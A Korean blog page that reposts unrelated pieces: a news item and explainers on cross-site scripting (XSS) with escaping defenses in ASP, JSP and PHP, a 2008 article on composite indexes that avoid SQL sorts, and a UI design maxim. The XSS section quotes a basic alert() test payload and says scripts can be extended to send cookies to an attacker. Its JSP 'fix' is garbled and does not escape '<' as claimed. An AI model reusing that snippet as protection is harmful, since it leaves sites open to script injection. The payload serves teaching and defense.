XSS는 인터넷 상에서 악성코드를 유포하거나 컴퓨터 실행기록인 쿠키파일을 빼낼 때 사용되는 흔한 해킹 기법이다.

 

이용자가 이 XSS 스크립트가 심어진 게시물을 클릭하면 자신도 모르는 새 악성코드에 감염되거나 쿠키파일이 해커에게 넘어갈 수 있다.

특히 쿠키파일에는 이용자 아이디와 비밀정보가 포함돼 있는 경우가 많아 개인정보 유출의 위험이 큰 것이 사실이다.

 

암호화가 된 경우라도 간단한 조작을 거치면 원래 정보를 알아낼 수 있고 이를 위한 별도의 프로그램 또한 인터넷 상에서 쉽게 구할 수 있다.

실제로 이 누리꾼은 이를 이용해 자신이 만든 팝업창을 이용자의 컴퓨터에 띄우는 데 성공한 것으로 알려졌다. 네이버가 꾸준히 이들 XSS 스크립트에 대한 필터링을 하고 있지만 이 누리꾼은 신종 스크립트의 경우 방어시스템이 업데이트 되는데 시간이 걸리는 점을 악용한 것이다.

 

누리꾼의 제보를 받은 네이버는 해당 스크립트를 방어시스템에 업데이트하고 추가로 게시되지 못하도록 차단했다.

보안 업계에서는 네이버뿐만 아니라 국내외 모든 인터넷 게시판이 이 같은 취약점을 갖고 있다고 지적했다. 새로 발견된 XSS 스크립트를 꾸준히 방어시스템에 업데이트 하더라도 해커가 이를 다시 조작하면 손쉽게 시스템을 피해갈 수 있기 때문이다.

 

한 보안 전문가는 "이번 사례는 해커 개인의 개별 이용자에 대한 공격으로, 시스템 자체에 대한 해킹과는 전혀 별개의 사안"이라며 "업체들이 시스템적으로 이 같은 사례를 막기 위해 꾸준히 노력한다 해도 근본적으로 인터넷 게시판 서비스가 갖고 있는 한계가 있다"고 말했다.

그는 또한 "개인 이용자들이 경각심을 갖고 백신프로그램을 사용하는 등 보안수칙을 준수하는 것이 중요하다"고 덧붙였다.

josh@yna.co.kr

 

 

 

 

* 크로스 사이트 스크립트란 ?

 

공격자가 보낸 코드를, 그 페이지를 열람한 다른 유저에게 스크립트로 실행시키는 것이 「크로스 사이트 스크립팅(XSS라고 생략해서 쓰기도 있다 )」아다. 유저의 입력 데이터를 표시하는 형식으로 되어 있는 게시판과 같은 Web어플리케이션에서 발생하기 쉬운 취약성이다.

  Web어플리케이션에서 입력 데이터의 충분한 검증이 이루어지지 않을 때, 공격자는 악의가 있는 코드를 다른 유저가 열람하는 장소에 배치할 수가 있다. 그 페이지를 열람한 다른 유저는, 그 스크립트를 신뢰할 수 있는 것인지 아닌지를 판단할 방법이 없기 때문에 그대로 실행해 버린다. 그 결과 간단하게 그 유저가 사이트내에서 사용하고 있었던 Cookie나 세션 정보를 훔칠 수 있다.

  이 공격은 성질상, 광범위하게 퍼지기 쉽다. 게시판 사이트 등 자신이 기입한HTML을 다른 사람이 열람할 수 있는 사이트를 이용해 크로스 사이트 스크립팅을 걸 수가 있다. 다음 폼은 열람자에게 다이얼로그 박스를 표시해주기 위한 스크립트이다.

그림5 열람자에게 다이알로그 박스를 표시해주는 스크립트


  이렇게 기입한 후 사이트에 스크립트의 실행을 허가하는 브라우저로 액세스하면, 다음과 같은 다이얼로그가 표시된다..

 이 예에서는 단순한 다이알로그 박스 표시의 스크립트이지만, 이 형식을 응용해서 공격자가 준비한 Web사이트에 액세스 시켜 Cookie 송신등을 실행시킬 수가 있다.

  어플리케이션쪽에서 크로스 사이트 스크립팅을 방어하려면, 송신된 리퀘스트의 sanitizing이 효과적이다. sanitizing은 어떤 환경에서 제어 문자을 제어 문자가 아닌 단순한 문자로서 취급하게 하는 것이다. 위의 경우에서는 송신된 내용을 서버에 기입하기 전, 혹은 리스펀스 데이터를 돌려줄 때에 「<」를 「&lt;, 「>」를 「&gt;」으로 변환해 버리면 스크립트는 실행되지 않는다. 그리고 기호같이 사용할 수 있는 문자의 종류를 제한해 버리는 것도 효과적인 대처법이 될 수 있다.

 

이번에는 XSS공격에 대하여 몇자 적어 봅니다.

 

Cross Site Scripting 웹사이트에 접속한 사용자가 공격의 대상이 되는 기법으로, 사용자의 입력 값에 악의적인 Javascript code 삽입하여 페이지를 로드 함으로 현재 페이지를 열람하는 사용자에게 스크립트를 실행시키도록 하는 것입니다. 그러므로 사용자의 입력을 받는 모든 사이트에서 XSS공격이 일어날 가능성이 있습니다. 특히 다음과 같은 상황에서 자주 발생합니다.

 

1.     검색할 단어를 입력하는 Input 영역에서 검색단어를 입력한 , 검색 결과와 함께 입력한 검색 키워드를 다시 보여주는 경우

2.     사용자 입력 폼에 입력한 내용들을 다시 출력하는 경우

3.    게시판에서 내용들을 열람하는 경우

 

 

공격자는 XSS 통해서 사용자의 쿠키를 변경하거나 탈취할 있으며 정상적인 사용자에 대해서 잘못된 정보를 보내줄 수도 있습니다. 이러한 XSS 최근 Phishing기법에 많이 사용되는데 악의적인 사용자가 변조된 입력 폼을 제공함으로 다른 사용자의 정보가 노출되고 있습니다. 또한 자바 스크립트 코드뿐만 아니라 object들을 사용자의 브라우저상에서 실행시킴으로 광고팝업이나 브라우저를 변조할 있습니다.

 

 

XSS 공격을 방어하는 가장 좋은 방법은 어플리케이션이 모든 header , cookie, query string, form field, hidden field (예를 들면, 모든 parameter ) 대해 유효성 검사를 실시하는 것입니다. 사용자의 입력이 화면에 출력되어 나오는 경우, 사용자의 입력 값을 HTML Entity 변환시켜야만 합니다. 또한 위의 태그들을 HTML으로 인식시키지 않기 위해 스크립트에서는 함수를 지원합니다. 그리고 공개 게시판의 경우, HTML 형식을 지원하는 경우 XSS 잠재적인 위험성이 존재하므로, 이를 중지할 필요가 있습니다.

 

 

기본 대책

 

(1)          ASP Script

사용자의 입력에 대해 Server.HTMLEncode함수를 사용하여 HTML태그를 비활성화 시킵니다.

 

Server.HTMLEncode함수를 사용하여 HTML태그를 변환합니다.

<%= Server.HTMLEncode(<script>alert(XSS Test);<script>) %>

위의 결과 tag들이 비활성화 됩니다.

 

(2)          JSP Script

HTML코드의 시작을 알리는 < 대해서 &lt; 으로 변환시키는 방법입니다.

 

/% less than (<) character &lt; 으로 변환시킵니다. %/

String userInput = request.getParameter(keyword);

user_input = user_input.replaceAll(“’”, \’”);

 

(3)          PHP Script

PHP 내장함수 가운데 입력 문자열에 대해서 HTML코드를 변환시켜주는 htmlentities() 사용하여 XSS 막습니다.

 

<?

$str = "A 'quote' is <b>bold</b>";

echo htmlentities($str);

// 출력: A 'quote' is &lt;b&gt;bold&lt;/b&gt;

?>

 

 

이것또한 간단 하게 기본적인 부분만 처리 해주어도 상당부분 방어가 가능합니다.

조금 귀찮더라도 이정도 처리는 해주어야 하지 않을까 합니다. 

반응형
Posted by 친절한 웬디양~ㅎㅎ
|
반응형

데이터베이스 시스템을 개발하면서 반드시 필요한 항목 중에 하나가 인덱스다. 인덱스를 이용해야만 우리가 원하는 조회 성능을 보장받을 수 있다. 하지만, 인덱스를 많이 생성하면 오히려 여러 가지 부작용이 발생한다. 이처럼 인덱스는 반드시 필요하지만 잘못 구성하면 돌이킬 수 없는 상황을 유발하기도 한다. 인덱스는 이와 같은 속성 때문에 필요악이라고 말한다. 이러한 인덱스의 부작용을 최대한 방지하려면 최적의 결합 컬럼 인덱스를 생성해야 하며 단일 칼럼 인덱스는 최대한 자제해야 한다.

 

인덱스를 이용하면서 앞서 우리는 처리 범위를 감소시키기 위해 연산자에 의해 결합 컬럼 인덱스의 컬럼을 선정하는 것과 랜덤 액세스를 제거하는 방법에 대해 확인해 보았다. 이번에는 시스템의 성능을 좌우하는 정렬을 제거하는 결합 컬럼 인덱스의 생성에 대해 알아 보자. 데이터베이스 시스템에서 정렬을 제거할 수 있다면 우리는 많은 혜택을 받을 수 있을 것이다.

 

정렬의 제거는 인덱스에 의해 좌우된다.

 

정렬을 제거하려면 어디엔가는 정렬된 데이터가 존재해야 한다. 데이터베이스에서 데이터를 저장하는 장소는 테이블과 인덱스다. 인덱스는 인덱스를 구성하는 컬럼의 값이 실제로 저장된다. 그렇다면 테이블과 인덱스 둘 중 한곳에 정렬된 데이터가 저장된다면 그 것을 이용하여 자동으로 정렬된 값을 추출할 수 있을 것이다. 그렇다면 어느 곳에 정렬된 데이터가 존재하는가? 각각의 특성을 확인해 보자.

 

● 테이블 - 데이터가 INSERT 되는 순서에 의해 저장되므로 어떤 칼럼에 의해 정렬된 데이터가 저장되지 않는다.
● 인덱스 - 인덱스를 구성하는 컬럼에 의해 정렬된 데이터가 저장된다. 인덱스의 첫 번째 컬럼에 의해 정렬되며 첫 번째 컬럼의 값이 동일한 데이터에 대해서는 인덱스의 두 번째 컬럼에 의해 정렬된다.

 

테이블에는 정렬된 데이터가 저장될 수 없다. 단지, INSERT 되는 순서에 의해 데이터를 저장하게 된다. 그러므로 어떤 컬럼으로 정렬되어 저장될 가능성은 거의 없다. 하지만, 인덱스는 어떠한가? 이는 사전의 인덱스와 동일하다. 사전에는 모든 단어들이 정렬되어 저장된다. 이와 같이 인덱스는 인덱스를 구성하는 첫 번째 컬럼으로 정렬된 데이터가 저장된다. 인덱스의 첫 번째 컬럼이 동일한 값이라면 인덱스의 두 번째 컬럼으로 정렬된 데이터가 저장될 것이다. 그렇기 때문에 인덱스는 전체적으로 인덱스의 첫 번째 컬럼에 의해 정렬된 데이터가 저장되며 두 번째, 세 번째 칼럼에는 정렬된 데이터가 저장되지 않는다. 이 또한 사전의 인덱스와 동일하다. 사전을 확인해 보면 가장 먼저 A~Z로 정렬되어 있다. 그렇다면 동일한 A로 시작하는 단어는 어떠한가? 해당 단어는 두 번째 단어로 정렬되어 있게 된다. 따라서, AA부터 사전에 등록되고 A로 시작하는 단어의 마지막은 AZ로 시작하는 단어가 된다.
물론, AA로 시작하는 단어 중에는 AAA로 시작하는 단어가 가장 앞에 위치하게 된다. 데이터베이스의 인덱스도 사전의 인덱스와 동일하다.
이와 같은 이유에서 정렬을 제거하기 위해서는 정렬된 데이터가 저장되어 있는 인덱스를 이용해야 할 것이다.

 

정렬의 제거는 SQL을 가볍게 만든다.

 


데이터베이스에서 모든 정렬을 제거한다는 것은 어려운 일이다. 물론, 마음먹고 정렬을 제거하고자 한다면 모든 정렬을 제거할 수 있다. 이와 같다면 해당 시스템은 정렬에 대한 부하가 발생하지 않기 때문에 엄청난 성능 향상을 기대할 수 있을 것이다. 반면에 SQL은 인덱스에 의해 제어되고 이를 모르는 사람이 운영을 하게 되면 어느 순간 이와 같은 규칙이 무너질 수 있다. 이와 같은 규칙이 무너지는 순간 해당 시스템은 엄청난 문제가 발생할 것이다. 이처럼 SQL에서 모든 정렬을 제거한다면 관리가 어려워 질 수 있으므로 모든 정렬을 제거하는 것 또한 위험 요소가 된다.
가장 이상적인 방법은 중요한 SQL을 선정하여 해당 SQL에 대해서만 인덱스를 이용해 정렬을 제거하는 것이다. 이와 같이 인덱스를 이용하여 정렬 제거에 대해 전략을 수립하여 적용한다면 시스템의 성능 향상을 기대해도 될 것이다.
그렇다면 어떻게 인덱스를 이용하여 정렬을 제거할 수 있겠는가? 다음의 예제를 확인해 보자.

 

SQL> SELECT 카드번호, 사용액
FROM 거래내역
WHERE 카드번호 = ‘111’
ORDER BY 거래일자;

 

이와 같은 예제에서 거래내역 테이블에 카드번호+거래일자 인덱스를 생성하여 해당 인덱스를 이용한다면 자동으로 정렬된 데이터가 추출될 것이다. 그렇다면 해당 SQL에서 ORDER BY 절을 제거해도 된다. 카드번호 컬럼의 값은 동일하므로 카드번호+거래일자 인덱스를 이용한다면 인덱스의 두 번째 컬럼인 거래일자 컬럼의 값으로 자동 정렬되어 결과가 추출되기 때문이다. 인덱스를 이용한 정렬에 대해 한 가지 예제를 추가로 확인해 보자.

 

SQL> SELECT 카드번호, 사용액
FROM 거래내역
WHERE 카드번호 = ‘111’
AND 거래일자 BETWEEN ‘20080801’ AND ‘20080830’
ORDER BY 승인번호;

 

이 SQL은 어떻게 인덱스 선정을 해야 정렬된 데이터가 추출될까? 기존대로 인덱스를 WHERE 조건 절과 ORDER BY 절에 사용된 컬럼의 조합으로 생성하면 자동으로 정렬된 데이터가 추출되는가? 그렇다면 인덱스를 카드번호+거래일자+승인번호로 생성한다면 원하는 형태로 승인번호 컬럼의 값으로 정렬된 데이터가 추출되어 ORDER BY 절을 생략할 수 있게 되는가? 이와 같이 인덱스를 선정한다면 정렬된 데이터는 추출되지 않을 것이다. 그 이유는 거래일자 조건의 값이 하나의 값만을 의미하지 않기 때문에 승인번호 컬럼의 값으로 정렬된 데이터가 추출되지 않는다. 그렇다면 어떻게 인덱스를 구성해야 하는가? 자동으로 승인 번호 컬럼의 값으로 정렬된 데이터를 추출하고자 한다면 카드번호+승인번호+거래일자 인덱스 또는 카드번호+승인번호 인덱스를 생성해야 한다.
이와 같이 인덱스를 생성하면 인덱스의 첫 번째 컬럼이 하나의 값만을 의미하게 되므로 인덱스의 두 번째 컬럼인 승인번호 컬럼의 값으로 정렬된 데이터가 추출된다. 카드번호+승인번호+거래일자 인덱스의 거래일자 컬럼은 처리 범위를 감소시키지는 못하며 확인 랜덤 엑세스만을 제거하게 된다. 결국, 정렬을 위한 인덱스는 다음과 같은 형태로 생성해야 한다.

 

● 점 조건+……+점 조건+ORDER BY 절의 첫 번째 컬럼+……+ORDER BY 절의 n번째 컬럼+선분 조건+……+선분 조건

 

이런 구조로 인덱스를 생성한다면 ORDER BY 절에 의해 정렬된 데이터가 자동으로 추출되며 모든 선분 조건들은 랜덤 엑세스만을 제거하는 조건이 된다. 위의 규칙에서 점 조건은 Where 조건 절에서 = 조건을 사용한 컬럼을 의미한다. 선분 조건은 = 조건을 제외한 다른 연산자를 사용한 Where 조건 절의 컬럼을 의미한다.
데이터베이스 시스템에서 매우 중요하게 사용되는 SQL에 대해 정렬을 제거할 수 있다면 SQL의 단순화와 성능 향상이라는 매우 큰 혜택을 얻게 될 것이다. 이와 같은 혜택을 누리기 위해서는 프로젝트 초반부터 정렬을 제거하는 인덱스 선정에 많은 노력을 해야 할 것이다.


권순용 kwontra@hanmail.net|DBA로 시작해서 현재는 프리랜서로 SQL 튜닝, 데이터베이스 아키텍처 및 모델링 업무를 주로 하고 있다. 데이터베이스 교육에도 많은 관심을 가지고 있으며 저서로는 정보문화사의 『Perfect! 오라클 실전 튜닝』과 『초보자를 위한 오라클 10g』가 있다. 2008년 4월 데이터 액세스 최적화에 대한 특허를 출원했으며 최근 마이크로소프트웨어에서 『Inside SQL for Beginner』를 출간했다. 현재 데이터베이스 동호회인 cafe.daum.net/oracity 시삽으로 활동 중이다.

 

제공 : DB포탈사이트 DBguide.net


출처 : 한국 마이크로 소프트웨어 [2008년 9월호]
반응형
Posted by 친절한 웬디양~ㅎㅎ
|
반응형

사용자를 행복하게 만들려면, 그들이 스스로의 환경을 제어할 있다고 느끼도록 만들어야 한다. 이를 위해서는 사용자들의 행동을 정확하게 해석해야 하며, 그들이 기대하는 바대로 움직이는 인터페이스를 만들어야 한다.

, 모든 사용자 인터페이스 설계에 적용되는 대원칙은 바로 이것이다.

프로그램이사용자의기대와똑같이움직이도록사용자인터페이스를설계하라.

반응형
Posted by 친절한 웬디양~ㅎㅎ
|